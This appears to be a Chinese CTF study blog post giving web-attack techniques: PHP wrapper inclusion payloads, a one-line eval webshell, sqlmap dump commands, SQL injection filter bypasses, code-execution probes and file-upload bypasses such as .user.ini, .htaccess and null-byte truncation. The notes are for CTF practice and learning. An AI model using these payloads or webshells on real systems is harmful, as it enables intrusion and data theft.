文章目录
- 1、基础知识部分
- 2、php伪协议
- 2.1 php://input协议
- 2.2 data://text/plain协议
 
- 3、webshell连接工具
- 3.1 蚁剑连接一句话木马
 
- 4、各个web中间件重要文件路径
- 4.1 Nginx
 
- 5、sqlmap使用
- 6、php特性
- 6.1 md5加密漏洞
- 6.2 php特殊符号
 
- 7、TOP 10漏洞
- 7.1 SQL注入
- 7.2 代码执行
- 7.3 文件上传
- php上传特性
- 检查后缀
- 检查文件内容
- 代码逻辑——条件竞争
 
 
1、基础知识部分
- 识别base64编码:大小写+数字,偶尔最后几位是= or ++;
- session:session是保存在服务器中的,服务器通过数据包中的cookie的PHPSESSID值来判断哪条session中保存用户信息;$_SESSION['password']是利用cookie中的PHPSESSID来找相应信息的password值。
- 常见的网站源码备份文件后缀:tar、tar.gz、zip、rar、bak。常见的网站源码备份文件名:web、website、backup、back、www、wwwroot、temp。
2、php伪协议
2.1 php://input协议
关于php://input,简单来说:当php://input与include连用时,数据包中的post字段将会当做php代码执行。
# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>  
2.2 data://text/plain协议
关于data://text/plain,简单来说:当data://text/plain与include连用时,data://text/plain后面接着的数据会被当做php代码执行。
?url=data://text/plain,<?php system('ls');?> # 
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式
3、webshell连接工具
3.1 蚁剑连接一句话木马
如果蚁剑报错:unable_to_verify_leaf_signature,是证书的原因,目前的解决方法是将URL中的https改为http。
 
4、各个web中间件重要文件路径
4.1 Nginx
# Linux
/var/log/nginx/access.log # linux下,nginx访问日志文件默认路径
# windows
C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径
5、sqlmap使用
sqlmap常用命令:
python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs  #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容
# 使用--tamper脚本,将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*
# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数
6、php特性
6.1 md5加密漏洞
- md50e漏洞:就是说在使用md5()和==进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e开头的字符串,那么左右两边将会相等。
- 当使用md5()和===进行变量对比的时候, 使用数组可以绕过md5()函数的检测。
- md5 true参数漏洞
 md5($string, true)对ffifdyop、129581926211651571912466741651878684928可以得到'or'结构的字符串。
6.2 php特殊符号
# . file = source file ,用bash执行file这个shell脚本文件
. == source 
# 执行系统命令
`ls` = system('ls') 
# php短标签
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>
# ?为通配符
# +为空格
7、TOP 10漏洞
7.1 SQL注入
SQL注入常见的测试方法就是:
- 在参数后面加个',看返回包是否报错;
- 使用万能密码1' or 1=1 --+,看返回包有没有反应。
登录框测试SQL注入后,尝试目录扫描,看看有没有敏感信息泄露。
SQL注入绕过:
 1、空格被过滤
# 空格被过滤
username=1'or(true)#  # 用(true)代替1=1
username=1'/**/or/**/1=1/**/#  # 用内联注释(/**/)代替空格
##经过测试过滤了空格,所以用内敛注释进行绕过
id=1'/**/and/**/1=1/**/#      正常返回
id=1'/**/and/**/1=2/**/#      数据未返回,存在SQL注入
##或者
id=1'/**/and/**/(true)/**/#      正常返回
id=1'/**/and/**/(false)/**/#      数据未返回,存在SQL注入
##或者
id=1'/**/or/**/(false)#  返回一条数据
id=1'/**/or/**/(true)#  返回当前表里的所有数据
2、单引号被过滤
# 单引号被过滤
双引号代替单引号
3、with rollup(虚拟表)绕过
# with rollup(虚拟表)绕过
group by :将结果集按照选择的字段进行排序,默认从小到大,不进行去重
group by password with rollup:对password进行逻辑排序,同时会对所有数据进行汇总统计。

7.2 代码执行
题目中若存在cmd参数,可能存在代码执行。尝试cmd=phpinfo();
?cmd=phpinfo(); # 如果这能被执行,后端应该就是类似一句话木马的写法<?php @eval($_GET['cmd']);?>
# 读取当前目录下的文件
?cmd=system('ls'); 
?cmd=print_r(scandir('./')); 
?cmd=print_r(glob("*"));
# 读取文件内容
?cmd=highlight_file('x.php');
?cmd=show_source('x.php');
7.3 文件上传
php上传特性
在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除,并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows)、php**.tmp(Linux)。

检查后缀
- 黑名单绕过 
  - 特殊后缀名
 在某些中间件中,.php3,.php4,.php5,.phptml会被解析为.php。
- windows特性
 1.php.、1.php[空格]、1.php::$DATA在windows系统中保存为1.php。
- 双写后缀名绕过
 仅当后端使用类似preg_replace函数进行关键词替换时,可以使用双写后缀名的方式绕过。
- .htaccess和.user.ini 
    - .user.ini用法
 前提:保证三个文件(- .user.ini、- shell.png、- xx.php)在同一目录下,再执行该目录下的php文件。- //.user.ini auto_prepend_file=1.png //1.png <?php phpinfo();?> //1.php(任意php文件)- 注:三个文件在一个目录下,就相当于1.php文件开头插入了 - include('1.png');进行文件包含,解析1.php文件时会使用php解析器解析1.png文件。
- .htaccess用法- # .htaccess文件 <FileMatch "shell.png"> SetHandler application/x-httpd-php # shell.png <?php phpinfo();?>
- 区别
 .htaccess文件是Apache服务器中的分布式配置文件;.user.ini是php配置文件。
 
- 配合中间件解析漏洞
 需要总结各个中间件的历史解析漏洞。如apache陌生后缀解析漏洞和apache换行解析漏洞。
 
- 特殊后缀名
- 白名单绕过 
  - %00截断(GET传参)
 前提:PHP版本小于5.3.4、magic_quotes_gpc为OFF状态。
 原理:上传1.php%00,最终保存为1.php。
- 0x00截断(POST传参)
 在hex模式下,将1.php后面的16进制值改为00同样达到阶段的效果。
 
- %00截断(GET传参)
检查文件内容
- MIME绕过
 数据包中Content-Type字段表示文件的类型,修改Content-Type的值绕过检测。常见的MIME 类型如下:文件拓展名 Mime-Type .html test/html .jpg image/jpeg .png image/png .gif image/gif .txt text/plain .php application/x-httpd-php 
- 文件幻数检测(getimagesize()、exif_imagetype())
 其实就是检测文件内容,以下是常见的图片文件头字节。类型 文件幻数 JPG FF D8 FF E0 00 10 4A 46 49 46 GIF 47 49 46 38 39 61 (GIF89a) PNG 89 50 4E 47 
- 二次渲染
 简单来说,就是后台会根据你上传的图片,重建一个相同的图片。绕过: - 对比源文件和渲染后的文件,在没有变化的部分加入一句话木马;
- 对于做文件上传之二次渲染建议用GIF图片,相对于简单一点。
 
代码逻辑——条件竞争
检测原理
   一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。
 绕过方法
   利用成功上传到删除文件的时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。














![[SWPUCTF 2021 新生赛]easy_sql的write up](https://img-blog.csdnimg.cn/img_convert/365a6a2cba6a0d8ba9384f7af9eb26df.png)




